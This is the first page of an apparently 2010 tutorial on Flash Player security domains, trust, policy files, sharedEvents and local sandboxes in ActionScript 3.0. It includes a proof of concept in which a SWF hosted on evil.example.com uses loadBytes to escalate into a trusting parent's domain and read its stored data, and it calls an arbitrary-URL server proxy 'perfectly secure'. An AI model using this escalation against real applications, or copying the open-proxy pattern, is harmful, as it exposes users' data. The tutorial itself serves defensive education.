Tutorials, extensions, and source files for ActionScript, Flash, and other Adobe products.

 

Pages: 1 | 2

Security Domains, Application Domains, and More in ActionScript 3.0

Date October 23, 2010
Language ActionScript 3.0
Target Flash Player 9+

Introduction

If you haven't yet had to bother with the complexities around security domains or application domains, consider yourself lucky. Even if you've loaded external content in the past (which is when they come into play), the defaults probably worked well enough for you then not to have to worry about what they do or mean.

But sometimes you will need a little more. You'll want to have more control over behavior, or enable functionality that's not possible using the default settings. Maybe there's some external content that you're having trouble accessing. Or maybe you're just confused about the difference between Security.allowDomain and crossdomain.xml files or want to know about best practices around security. If so, you're in the right place.

The following tutorial will cover what security and application domains are and how they're used in Flash Player, both in terms of providing functionality as well as protection through security.

Table of Contents

Page 1

Page 2

Sandboxing

Sandboxing the process of separating groups of data and/or code execution from one another. Sandboxes are especially important in security where, without the appropriate trust, two separate pieces of content should not be able to interact with each other when they shouldn't. Flash Player's security model uses sandboxes known as security domains to separate content this way.

Though security is a primary case for sandboxing, it may not be the only reason. You may also want to sandbox two pieces of content to prevent conflicts with overlapping naming schemes. Keeping them separate allows them to function normally, avoiding any conflict that might have occurred as a result of bringing them together. This separation is handled through Flash Player by sandboxes known as application domains.

Security Domains

Security domains in Flash are the top level sandboxes. Security domains link themselves to a content's source domain, or the domain from which content (e.g. a SWF) was loaded. A SWF hosted on the senocular.com would have a security domain linked to the senocular.com domain, while a SWF being hosted on example.com would have a separate security domain linked to the example.com domain name. Having two separate security domains causes the each of the SWFs to be run in their own sandboxes within Flash Player.

security domains
Security domain sandboxes in Flash Player

Note: About the Examples

For examples in this tutorial, you'll see subdomains of the same top-level domain (example.com, to protect the innocent) used to represent different domains. In Flash, different subdomains are seen as different as different top-level domains. Example code will also be simplified though complete enough that they should mostly work when used as timeline scripts within the Flash Professional authoring tool.

Non-executable (non-SWF) content, such as image or text files, is also separated into security domains, again using their source domains as the determining factor as to which security domain they belong. These domains determine how accessibility the content is or even whether the content can be loaded at all. More on that is covered in the Non-executable Trust section.

For SWFs, security domains separate both data and code execution. Data (e.g. variables) in one SWF cannot inherently be accessed by another SWF if they exist in separate security domains. Both their data, and the code they execute, are cut off from one another in a way that prevents interaction. Attempting to access data in another security domain will create a security error.

The following code shows a SWF which attempts to load another SWF - whose contents are irrelevant - and access its document class instance (main timeline).

http://same.example.com/parent.swf:

var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT, init);

var url:String = "http://diff.example.com/child.swf";
loader.load(new URLRequest(url)); 

function init(event:Event):void {
	trace(loader.content);
	// SecurityError: Error #2121: Security sandbox violation:
	// Loader.content: http://same.example.com/parent.swf
	// cannot access http://diff.example.com/child.swf.
	// This may be worked around by calling Security.allowDomain.
}
Any attempt of accessing the loaded SWF's content, even tracing the Loader.content property as seen above, will fail creating a security error if dealing with content in different security domains.

The separation between security domains also extends into the native ActionScript class definitions in Flash Player that are used by all SWFs. Different copies of these classes exist in each security sandbox created by Flash. For example, the native XML class in one security domain is not the same as the XML class in another. If a SWF in one security domain changes the static class property XML.prettyIndent, it would not be reflected in other security domains.

Consider the following SWF which loads two SWFs from two different domains, one from its own domain and one from another. Each of the child SWFs checks the value of prettyIndent after it's been changed by the parent.

http://same.example.com/parent.swf:

trace(XML.prettyIndent); // 2
XML.prettyIndent = 5;
trace(XML.prettyIndent); // 5

// Same domain:
var sameLoader:Loader = new Loader();
var sameURL:String = "http://same.example.com/child.swf";
sameLoader.load(new URLRequest(sameURL)); 

// Different domain:
var diffLoader:Loader = new Loader();
var diffURL:String = "http://diff.example.com/child.swf";
diffLoader.load(new URLRequest(diffURL));

http://same.example.com/child.swf:

trace("same: " + XML.prettyIndent); // same: 5

http://diff.example.com/child.swf:

trace("diff: " + XML.prettyIndent); // diff: 2

When tracing out the value of static class property XML.prettyIndent (whose default value is 2), you can see that the SWF originating from the other domain did not reflect the changes made to the property while the SWF in the same domain did. Each security sandbox was given its own copy of the native ActionScript class definitions.

Trust

Though security domains are inherently sandboxed from one another, expressing trust can open up a line of communication or the sharing of data between two different SWFs in two different security domains. With trust, code executing in one security domain can access data and call methods in another almost as though it was part of the same security domain.

In ActionScript, trust is given to a SWF in a different security domain using Security.allowDomain (and the similar Security.allowInsecureDomain). This is a function that code in the trusting security domain must call to grant trust to another, or group of other domains based on their source domain names. Once executed, code in the trusted domain can script freely within the content of the SWF that demonstrated trust. This only works one way; the SWF calling allowDomain won't be able to access the other SWF unless it too makes the appropriate call to allowDomain.

Security domains with trust
Security domains with trust

Consider the following example where a child SWF calls allowDomain to trust its parent:

http://home.example.com/parent.swf:

var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT, init);

var url:String = "http://away.example.com/child.swf";
loader.load(new URLRequest(url));

function init(event:Event):void {
	// (allowDomain has been called by child)
	trace(loader.content); // [object DocumentClass]
}

http://away.example.com/child.swf:

Security.allowDomain("home.example.com");

Without trust, as seen before, access to the content of the child SWF would throw an error. But once the loaded SWF has called allowDomain, the parent can access its content and other data freely. Note that with this example, the child SWF still does not have access to the loader's content since the parent SWF did not express trust towards away.example.com in its own call to allowDomain.

Trust is an important security concept to understand, and should not be taken lightly. Often it may seem easiest to use the wildcard (*) trusting every SWF using:

// BE CAREFUL!
Security.allowDomain("*");

Doing so grants any SWF - not just SWFs you load since other SWFs could load yours - access to your data and functions in ActionScript. Though you may not directly expose any sensitive data, if you have any functions that could be used to get such data, they could be abused by a trusted SWF. Trust given through allowDomain gives other SWFs a kind of anything you can do, I can do access. Later, in the Merging Security Domains section, you'll see it can actually mean more.

If you need to allow SWF to SWF communication but don't want to trust SWFs enough to allow trust to their domains, you're not completely out of luck. In the SWF Communication Without Trust section, we'll look out how the sharedEvents object can be used to bridge this gap.

Non-executable Trust

Trust for non-executable (non-SWF) content has to be handled differently by Flash Player since that content cannot execute calls to allowDomain for express explicit trust. This is where Flash Player uses cross-domain policy files.

Cross-domain policy files are XML files - typically named crossdomain.xml on the root of a web domain - that, similar to allowDomain, define a list of web domains (among other things) that are trusted to load content on the server by Flash Player. The following is what a simple cross-domain policy file may look like:

http://example.com/crossdomain.xml:

<?xml version="1.0"?> 
<cross-domain-policy>
	<site-control permitted-cross-domain-policies="by-content-type"/>
	<allow-access-from domain="*.example.com"/>
	<allow-access-from domain="www.example-partner.com"/>
</cross-domain-policy>

You can read more about the policy file format from the Cross-domain policy file specification (adobe.com).

Unlike allowDomain, cross-domain policy files provide a blanket trust, trusting more than one file - usually all files on a domain - rather than single files on an individual basis. This makes allowDomain a stronger solution than cross-domain policy files in that sense, but Flash Player can't expect content like text, images, and sounds to somehow identify domain-specific trust within their own data. So as an alternative, Flash Player looks to a single cross-domain policy file when trust for such content on a domain is necessary. The sample cross-domain policy file above allows SWFs located on any subdomain of example.com or www.example-partner.com to load and read data from any file located on the example.com domain.

Policy files don't usually provide trust to SWFs because they already have a mechanism for doing that through allowDomain. Loading a SWF into another SWF will always work regardless if there is a policy file or not. There is one exception, when merging a cross-domain SWF into your own security domain. More on that will be covered in the Merging Security Domains section.

When, and only when, a cross-domain policy file is needed, Flash Player automatically finds and downloads it from the domain that's part of the original request that requires it. This applies to both the standard policy file location with crossdomain.xml at the domain root as well as any specific policy file location specified by Security.loadPolicyfile. At the point in time when the content is loaded, policy files are also loaded, grouped in with the loading process of the content.

Once loaded, Flash Player analyzes a policy file's tags to see if the hosting domain trusts the domain hosting the SWF with its content. If the domain trusts the SWF's domain, the content is loaded normally and can be used as if it were hosted on the same domain as the SWF. If not, one of two things will happen:

  • The content doesn't load or
  • The content loads, but its data cannot be accessed directly by the loading SWF

If the content being loaded is strictly data (text, XML, arbitrary binary data, etc.) the content won't load at all if not trusted. There wouldn't be any point since it couldn't be accessed or serve any purpose if it was.

Policy file for loading
Policy file needed to load data-only content

However, if the content can still have purpose without the SWF having access to reading its data (images, sounds, etc.) then the content will load but only in a context in which it will be visible (or audible) to the user. Images, for example, can be displayed in Loader objects for a user to see, however without trust from a cross-domain file from the hosting domain, operations like BitmapData.draw would fail if attempted on that image as it would mean providing the SWF with image data.

Policy file for trusting
Policy file needed to access data of other content

This may be a little confusing since the user is still allowed to access the content but the SWF is not. There's a number of different security implications that have to be considered when Flash Player is running a SWF. In the end, it ultimately comes down to protecting data - the user's data, and the data they have access to - from a potentially malicious SWF that would steal and abuse that data. It's not so much about preventing what the user of a SWF has access to. User's, for example, don't need to worry about cross-domain policy files to look at content on the web normally.

This doesn't mean cross-domain policy files should be taken lightly. A lot of damage can be done by a domain that uses a permissive cross-domain file like the following:

<?xml version="1.0"?> 
<cross-domain-policy>
	<!-- BE CAREFUL! -->
	<allow-access-from domain="*"/>
</cross-domain-policy>

Warning: What it means to allow access to all domains with the wildcard (*) in a cross-domain policy file like this: All data on the domain that any user could potentially access at any point in time can also be potentially accessed by any SWF anywhere.

As a client-side application Flash Player runs under the authentication of the current user. This means user data is potentially Flash Player's data. And Flash Player's data is potentially the data accessible by any SWF that runs in it. By default Flash Player restricts cross-domain content loading for the very reason that it can't know what the SWF should have access to and what it shouldn't, assuming the only safe data is data on the same domain as the SWF. Without this restriction, a SWF could get and do whatever it wanted with any data the current user has access to.

Consider a user that uses a web mail client (in the browser) to check their email. To access their email, the user logs on to the site with the necessary credentials. The user then opens a new tab in their browser to a web site that has a malicious SWF out to steal the user's data. Without cross-domain data protection, this SWF could load in the URL used to display the users messages and read them directly without the user even knowing, all by using his or her existing credentials. The same applies to any intranet site accessible to the user as well; whatever the user can get to, so can a SWF. Instead, Flash Player blocks this data unless the domain explicitly trusts SWFs to access it through policy files.

As a rule, you should avoid having a cross-domain policy file on any domain that contains sensitive data, even (especially) if user authentication is needed to access that data. Should you need to serve data that needs to be consumed by remote SWF files, host that data on a separate domain or subdomain.

Domain Description Policy file
login.example.com Hosts user data None
feed.example.com Hosts public data Includes: <allow-access-from domain="*" />

This keeps sensitive data inaccessible, but still allows SWFs from other domains to consume data you wish to be publicly available.

Non-executable Content Without Trust

Without trust through cross-domain policy files, Flash Player strictly blocks non-SWF content. This is especially true for data-only types such as text; they don't even load into the player. If you need content from a domain that you do not have control of and that does not have, nor will allow a cross-domain policy file trusting your domain, then you are out of options for obtaining that data on the Flash Player side of things. A server-side solution, however, is a possible remedy.

Policy files are designed to protect data, specifically to protect the user's data, or at least data accessible by the user. This data is accessible because of Flash Player's rights in the user space. Server-side code execution, on the other hand, does not have these same privileges. Server-side code is executed in the server space, in fact on a completely different machine from the user, so user access is irrelevant when a server is used to obtain data.

Because servers do not have the user's privileges, server code can load data from any freely accessible web location without being bound by the same cross-domain restrictions used by Flash Player. This means a server-side script on the host of a SWF can be used to load content from another domain and then present that to the SWF in the same domain. As same-domain content, Flash Player wouldn't require a policy file. The content simply appears to be from the same domain as the SWF because of a server-side page was able to load it from another domain and present it to the SWF as it's own.

The following ActionScript shows an example how of this might work for a server-side php script in its own domain that loads and displays data from another.

http://home.example.com/loader.swf:

var urlLoader:URLLoader = new URLLoader();

var urlVariables:URLVariables = new URLVariables();
// custom variable used by server page to know
// what remote site to load data from
urlVariables.externalURL = "http://away.example.com/content.txt";

// custom server script reading data from
// externalURL passing it through to it's
// output to be read by this SWF
var serverPage:String = "http://home.example.com/read.php";

var request:URLRequest = new URLRequest(serverPage);
request.data = urlVariables;
urlLoader.load(request);

There are a couple of problems with this approach. For one, it requires that you have access to and write code for a server-side environment. This may be a hassle if working with a smaller project that has had, up until that point, no server-side requirements, or if you have no control over your hosting options.

Maybe more importantly, by tunneling the data through your own server, you're doubling the amount of web traffic needed to serve the file. First, the file is downloaded from the original domain onto your server. Then the file is downloaded from your server into the Flash Player client SWF. Not only does this increase web traffic in general, it's putting load on your own server where otherwise, with a trusting cross-domain file, there would have been none.

Regardless, this is often a solution, and a perfectly secure one, used to get past cross-domain policy files used by Flash Player.

SWF Communication Without Trust

There may be times when you want to communicate with another SWF in another security domain, possibly from an unknown or unreliable source, but you don't want to fully trust that domain, granting it full access to your content data. The LoaderInfo class actually offers a mechanism for doing that through a property called sharedEvents. The sharedEvents object is a single, trusted EventDispatcher object defined in a LoaderInfo that is shared between security domains. Both the SWF loader and the loaded SWF can access this object and dispatch and listen for events to and from one another.

Events dispatched through the sharedEvents object are "blessed" and become fully trusted in both domains. This allows any arbitrary data to be passed back and forth between different security domains without concern for security violations.

Warning: Be careful; pass the wrong data through the sharedEvents object and you can completely open up your SWF to the other SWF on the receiving end. Specifically, if an event happens to carry a reference to any "connected" object, especially anything that might be on the display list, your entire SWF would be exposed to cross-domain scripting.

Events dispatched through sharedEvents should be limited to event types that contain only simple data, thereby preventing any chances that the other SWF could find a backdoor into scripting your SWF through some deep reference. If more complex events types are needed, they should be cleaned before they're passed through.

When using the sharedEvents object, each SWF would have to make sure that they send and receive unique event types since both SWFs reference the same instance. The parent SWF would dispatch events of one type and listen for events of a different type. The child SWF would listen for the event types dispatched by the parent and dispatch those the parent is listening for. Names for these event types are completely up to you.

The following example uses sharedEvents to communicate simple text messages between parent and child SWF in different security domains. The parent dispatches events of the type "fromParent" while the child uses "fromChild".

http://safe.example.com/parent.swf:

var loader:Loader = new Loader();
var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;
shared.addEventListener("fromChild", fromChild);

var url:String = "http://untrusted.example.com/child.swf";
loader.load(new URLRequest(url));

function fromChild(event:TextEvent):void {
	trace(event.text); // Good day
	
	var replyMessage:TextEvent = new TextEvent("fromParent");
	replyMessage.text = "Same to you";
	shared.dispatchEvent(replyMessage);
}

http://untrusted.example.com/child.swf:

var shared:EventDispatcher = loaderInfo.sharedEvents;
shared.addEventListener("fromParent", fromParent);

var firstMessage:TextEvent = new TextEvent("fromChild");
firstMessage.text = "Good Day";
shared.dispatchEvent(firstMessage);
	
function fromParent(event:TextEvent):void {
	trace(event.text); // Same to you
}

Any kind of event can be used for passing information back and forth this way, event custom events. Again, just be careful not to pass along event data that could contain references to other, more sensitive objects, especially not objects on the display list. An example of handling this can be found in the Stage Owner and Access section.

Merging Security Domains

If trust exists between two domains, a SWF on one of the domains has the option of loading a SWF from the other domain into its own security domain. This would be equivalent to loading a SWF as if it were on the same domain.

Trust is handled slightly different in this case. First off, for the domain of the parent SWF, nothing specific needs to be done to express trust. The simple act of attempting to load another SWF in your own security domain means that you are already committing to fully trusting the contents of that SWF.

Secondly, because the child SWF is immediately being loaded into the security domain of the loader, it has no opportunity to express trust through allowDomain, since by the time it has a chance to call it, it has already been instantiated within the other domain's security domain. Trust has to be expressed before the SWF even loads. For this, the cross-domain policy file is used. This is, in fact, the only time when a cross-domain policy file is used to grant trust to a SWF.

Loading into another security domain
Policy files needed to for loading cross-domain SWFs in the same security domain

To load another SWF into the security domain of your own, you would need to call Loader.load with an instance of a LoaderContext object. The securityDomain property of that LoaderContext is set to a reference to the current security domain. This is accessible through SecurityDomain.currentDomain. In setting this value, the loader SWF expresses trust in the SWF that is to be loaded, while that SWF expresses trust through a policy file.

http://host.example.com/parent.swf:

trace(new LocalConnection().domain); // host.example.com

var loader:Loader = new Loader();

// create a LoaderContext that indicates that
// the loaded SWF will be loaded into this
// security domain
var context:LoaderContext = new LoaderContext(true);
context.securityDomain = SecurityDomain.currentDomain;

var url:String = "http://trusting.example.com/child.swf";
loader.load(new URLRequest(url), context);

http://trusting.example.com/crossdomain.xml:

<?xml version="1.0"?> 
<cross-domain-policy>
	<allow-access-from domain="host.example.com"/>
</cross-domain-policy>

http://trusting.example.com/child.swf:

trace(new LocalConnection().domain); // host.example.com

Using the domain property of a LocalConnection instance, the security domain is checked for each SWF. Though the child SWF originated from the trusting.example.com domain, it's shown as being within the host.example.com domain because the parent SWF loaded it into its own security domain.

The trust given to a SWF loaded into the current security domain goes beyond that given through allowDomain. Whereas with allowDomain you're effectively giving a SWF anything you can do, I can do permissions, when loading a SWF into the same security domain, you give them permissions along the lines of I can do anything. In the prior case, a SWF can only call into your code, limited by what your SWF defines. But when loaded into the same security domain, their SWF has no limitations and can do anything SWFs are capable of doing, and doing so within the context of your domain. This includes:

  • Access to everything in the loader SWF
  • Reading all files served on the domain
  • Reading all files served on other domains that trust the domain
  • Reading shared object data specific on the domain
  • Access to local connection communications made to through the domain
  • Access to socket connections trusting the domain

Before introducing a cross-domain SWF into your own security domain, you should be sure that you trust them enough to use and not abuse this power.

Using load with a LoaderContext with your security domain is not the only way to have content load into your own security domain. The Loader class also supports another method for loading content called loadBytes. Unlike load, it does not use a URL to load remote content. Instead, it loads content through data already present in SWF in the form of a ByteArray.

Because loadBytes has no way to associate its loaded content with a domain - ByteArrays, after all, do not retain any kind of domain association - content loaded through loadBytes is always loaded into the current security domain. This is usually safe enough since to get a hold of those bytes to begin with, you'd have to have some kind of trust to do so.

http://host.example.com/parent.swf:

trace(new LocalConnection().domain); // host.example.com

var loader:Loader = new Loader();

var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);

// cross-domain policy file required to load data
var url:String = "http://trusting.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));

function bytesLoaded(event:Event):void {
	loader.loadBytes(urlLoader.data);
}

http://trusting.example.com/crossdomain.xml:

<?xml version="1.0"?> 
<cross-domain-policy>
	<allow-access-from domain="host.example.com"/>
</cross-domain-policy>

http://trusting.example.com/childbytes.swf:

trace(new LocalConnection().domain); // host.example.com

As seen with Loader.load with a LoaderContext specifying the current secuirty domain, loadBytes too, will load content into the same security domain as seen by LocalConnection.domain for the child SWF.

Warning: There is one slight security flaw in the loadBytes method. This deals with the differences between a trusted SWF in another domain and a SWF loaded into your own domain. Though both are trusted, there's no doubt a SWF in the same security domain can do a lot more than a trusted SWF in another domain (as listed above). It's the difference between anything you can do, I can do and I can do anything. The difference being, there's actually no difference.

With trust, a loaded SWF - even in another security domain - has complete access to everything within the loader SWF, including the Loader instance that was used to load it. With access to the loader comes access to loadBytes which means suddenly the trusted child SWF has the power to load arbitrary binary content in the loader SWF's own security domain. In the end, trusting a SWF can be just as dangerous as loading it into your own security domain since it can load content into your security domain just by being loaded at all.

The following example shows just how this can work:

http://good.example.com/parent.swf:

// "you can do I can do" trust only
Security.allowDomain("evil.example.com");

// should be protected
var so:SharedObject = SharedObject.getLocal("foo", "/");
so.data.foo = "bar";
so.flush();
 
var loader:Loader = new Loader();
var url:String = "http://evil.example.com/child.swf";
loader.load(new URLRequest(url));

http://evil.example.com/child.swf:

var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("trust only: " + so.data.foo); // trust only: undefined

var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);

var url:String = "http://evil.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));
 
function bytesLoadedEvent):void {
	// THREAT! loadBytes to load SWF data into
	// security domain of trusting parent SWF
	loaderInfo.loader.loadBytes(urlLoader.data);
}

http://evil.example.com/childbytes.swf:

var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("same domain: " + so.data.foo); // same domain: bar 
This behavior may be changed in future releases of Flash Player, so you shouldn't build applications around it. Instead, focus more on the threat of what this means when loading and trusting SWF content from other sites: complete access to all of your domain's data.

Stage Owner and Access

When a SWF is first loaded into Flash Player, it is added to the display list of the player under the top-most object known as the stage. This is the root display object of Flash Player itself. Each SWF also has it's own root (called root) which represents the instance of its document class or its main timeline. The SWF that instantiated Flash Player has its root placed in the stage while other child SWFs are loaded as children of the Loader instances used to load them.

The stage is special in that, though it is itself technically accessible by all SWFs on the display list as a part of that display list, it only has one owner. Ownership of the stage is given to the SWF that first instantiated Flash Player - the SWF whose root is immediately placed in the stage instance. The stage owner defines the security domain in the stage is linked. Other SWFs wishing to use the stage for specific purposes would have to be either loaded into the security domain of the stage owner or have it's security domain trusted by it.

You may have noticed in the past that some applications, or maybe just components in them, have failed to function properly when loaded into another SWF from a different (untrusted) domain. This is happens because code there presumes to have permission to use the stage object when they don't. This can be tricky to grasp at first since the stage object itself is accessible, but calling certain stage methods like addEventListener is not.

The following list shows what Stage members are restricted when accessed from a security domain other than the stage owner's. This list may not be 100% accurate, so only use it as a guide.

addChild addChildAt removeChild
removeChildAt getChildIndex setChildIndex
getChildAt getObjectsUnderPoint swapChildren
swapChildrenAt numChildren tabChildren
mouseChildren width stageWidth
fullScreenWidth height stageHeight
fullScreenHeight quality align
scaleMode displayState fullScreenSourceRect
stageFocusRect showDefaultContextMenu colorCorrection
addEventListener dispatchEvent hasEventListener
willTrigger    

Watch how, in the example below, while stage is accessible from the child SWF, calls to stage.addEventListener are not permitted.

http://first.example.com/parent.swf:

var loader:Loader = new Loader();
addChild(loader);

var url:String = "http://second.example.com/child.swf";
loader.load(new URLRequest(url));

http://second.example.com/child.swf:

// Works
trace(stage); // [object Stage]

// Does not work
stage.addEventListener(MouseEvent.CLICK, stageClick);
// SecurityError: Error #2070: Security sandbox violation: 
// caller http://second.example.com/child.swf cannot access 
// Stage owned by http://first.example.com/parent.swf.

Stage ownership is especially painful in terms of events since the stage object is often the target for keyboard and mouse events when globally detecting key presses or recognizing when the mouse is released outside of an object. For a child SWF alone in this situation, there's not a whole lot that can be done. However, a parent SWF owning the stage does have the option to pass stage events through the sharedEvents without having to fully commit to trusting the child. This would allow the child SWF to receive the necessary events while still protecting the parent. Both SWFs would have to coordinate on making this work.

Warning: This use case is a prime example of how sharedEvents security can be compromised. Certain mouse events reference timeline objects through the relatedObject property. If a mouse event with that property defined is passed through sharedEvents, it would allow the receiving SWF to freely access timeline objects in the untrusted domain. When sending any event through sharedEvents, these references should be removed. For mouse events, new MouseEvent instances can be created with only the necessary information carried over from the original.

The following example demonstrates how stage events can be sent through the sharedEvents dispatcher. This particular example only forwards a MOUSE_OUT event in this manner, though it could be done for any number of event types. Note how the parent SWF is protected by using a surrogate event.

http://stageowner.example.com/parent.swf:

var combination:String = "1-2-3-4-5"; // secure data

var loader:Loader = new Loader();
var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;

var url:String = "http://untrusted.example.com/child.swf";
loader.load(new URLRequest(url));

stage.addEventListener(MouseEvent.MOUSE_OUT, forwardMouseEvent);

function forwardMouseEvent(event:MouseEvent):void {
	// THREAT! This can expose relatedObject which could in 
	// turn expose this SWF's otherwise secure data
	//shared.dispatchEvent(event);
	
	// Safer: create surrogate MouseEvent to block
	// access to relatedObject reference
	var safeEvent:MouseEvent = new MouseEvent(event.type);
	safeEvent.altKey = event.altKey;
safeEvent.buttonDown = event.buttonDown;
safeEvent.ctrlKey = event.ctrlKey;
safeEvent.delta = event.delta;
safeEvent.localX = event.localX;
safeEvent.localY = event.localY;
safeEvent.shiftKey = event.shiftKey; shared.dispatchEvent(safeEvent); }

http://untrusted.example.com/child.swf:

var shared:EventDispatcher;

// see if stage events can be accessed
// if not, listen for them through sharedEvents
if (loaderInfo.parentAllowsChild){
	stage.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut);
}else{
	shared = loaderInfo.sharedEvents;
	shared.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut);
}
	
function stageMouseOut(event:MouseEvent):void {
	// -- stage mouse out actions here --

	// if through sharedEvents the parent passed a reference
	// to the original event, it's data would be accessible!
	//trace(Object(event.relatedObject).root.combination); // 1-2-3-4-5
}

Thanks to the safeEvent MouseEvent instance, the reference to the relatedObject in the original MouseEvent is no longer available. In fact each piece of data which is being exposed is clearly defined before the event is dispatched through sharedEvents. You should always make sure events passed through sharedEvents are cleaned in this manner.

Local Security Domains

SWF files run locally from your hard drive also exist within their own security domains. Local security domains are special cases with unique behavior. They are divided into 4 different security sandbox types: local-with-file, local-with-network, local-trusted, and application for AIR (AIR is not covered in detail here). Together with SWFs on the web, you have a total 5 sandbox types. In ActionScript, you can determine the current type through Security.sandboxType.

  • local-with-file (Security.LOCAL_WITH_FILE)—This file is a local file, has not been trusted by the user, and it is not a SWF file that was published with a networking designation. The file may read from local data sources but may not communicate with the Internet.
  • local-with-network (Security.LOCAL_WITH_NETWORK)—This SWF file is a local file, has not been trusted by the user, and was published with a networking designation. The SWF file can communicate with the Internet but cannot read from local data sources.
  • local-trusted (Security.LOCAL_TRUSTED)—This file is a local file and has been trusted by the user, using either the Flash Player Settings Manager or a FlashPlayerTrust configuration file. The file can read from local data sources and communicate with the Internet.
  • application (Security.APPLICATION)—This file is running in an AIR application, and it was installed with the package (AIR file) for that application. By default, files in the AIR application sandbox can cross-script any file from any domain (although files outside the AIR application sandbox may not be permitted to cross-script the AIR file). By default, files in the AIR application sandbox can load content and data from any domain.
  • remote (Security.REMOTE)—This file is from an Internet URL and operates under domain-based sandbox rules.

Local files have strict rules around security because they have access to potentially sensitive material on a user's hard drive. If given the opportunity, a malicious SWF could read data from your computer and post it to an untrusted server on the web. To prevent that, an untrusted local SWF is only allowed to access one or the other, the web (local-with-network) or the local file system (local-with-file), not both. Additionally, local SWFs of different types of these sandboxes cannot be loaded into the same instance of Flash Player in fear that they would work together to access both the file system and the web passing data back and forth between them. For example loading a local-with-network SWF in a local-with-file SWF is prohibited.

Because there aren't exactly any domain names in the land of the local file system, local files determine their sandbox type through a different method. For local-with-file and local-with-network, this is handled through a flag saved in the published SWF. This flag specifies one or the other, a with-file or with-network sandbox. All compiled SWFs have this flag. If they're ever run on locally (and not trusted), it is used to determine the local sandbox type.

For trusted local files, a similar problem exists since there isn't exactly a root domain from which a cross-domain policy file can be served. Instead local files are trusted through a different process; two, in fact. The first is through the online Global Security Settings panel of the Flash Player Settings Manager. Using a drop-down, you can add file system locations that give local SWFs in that location trust.

Settings Manager
Flash Player Settings Manager

The other way is through configuration files. Unlike the Settings Manager, configuration files do not require that you be connected to the internet to use. To specify a SWF or folder of SWFs (including sub folders) place line-separated paths in a .cfg file within Flash Player's #Security\FlashPlayerTrust folder. For Mac and Windows, the locations of this directory are as follows:

  • Windows 95-XP:
    C:\Documents and Settings\[username]\Application Data\Macromedia\Flash Player\#Security\FlashPlayerTrust
  • Windows Vista-7:
    C:\Users\[username]\AppData\Roaming\Macromedia\Flash Player\#Security\FlashPlayerTrust
  • Mac OS X:
    /Users/[username]/Library/Preferences/Macromedia/Flash Player/#Security/FlashPlayerTrust

Where [username] is replaced with your current computer user's name.

Both approaches save trust information to your hard drive (the Global Security Settings panel as well, using a special file in a Flash Player-specific directory). These locations act as forms of cross-domain policy files for your local machine. When read by Flash Player, and trust is given to a SWF, the local trust flag in the SWF is overridden and the SWF is given local trust, allowing it to access content on both the web and the local file system.

Local sandbox types
Local security domains

One caveat of local trust is that you still cannot import content from a remote sandbox with that of a local sandbox, even if the local sandbox is local-trusted. Though a local SWF may be trusted, Flash does not allow what could be arbitrary content from the web to be elevated to the same levels of local trust by bringing it into a local trusted sandbox.

Most player content is designed for the web so the peculiarities of local sandboxes are not usually necessary to fully understand. One exception might be during development and testing. Flash Pro, for example, will place a SWF in a local-trusted sandbox when you test a SWF movie. This can lead to results that differ from the actual, deployed version of the SWF since trusted SWFs are allowed to do much more. For example you might be able to load content from web sites that do not use cross-domain policy files when testing but find that it doesn't work once you place your SWF on the web. Always keep this in mind when testing; what you see may not always be what you get (in the end).

You can find more information about security in general in the Security section of the Flash Player Developer Center (adobe.com).

Continue reading »

Pages: 1 | 2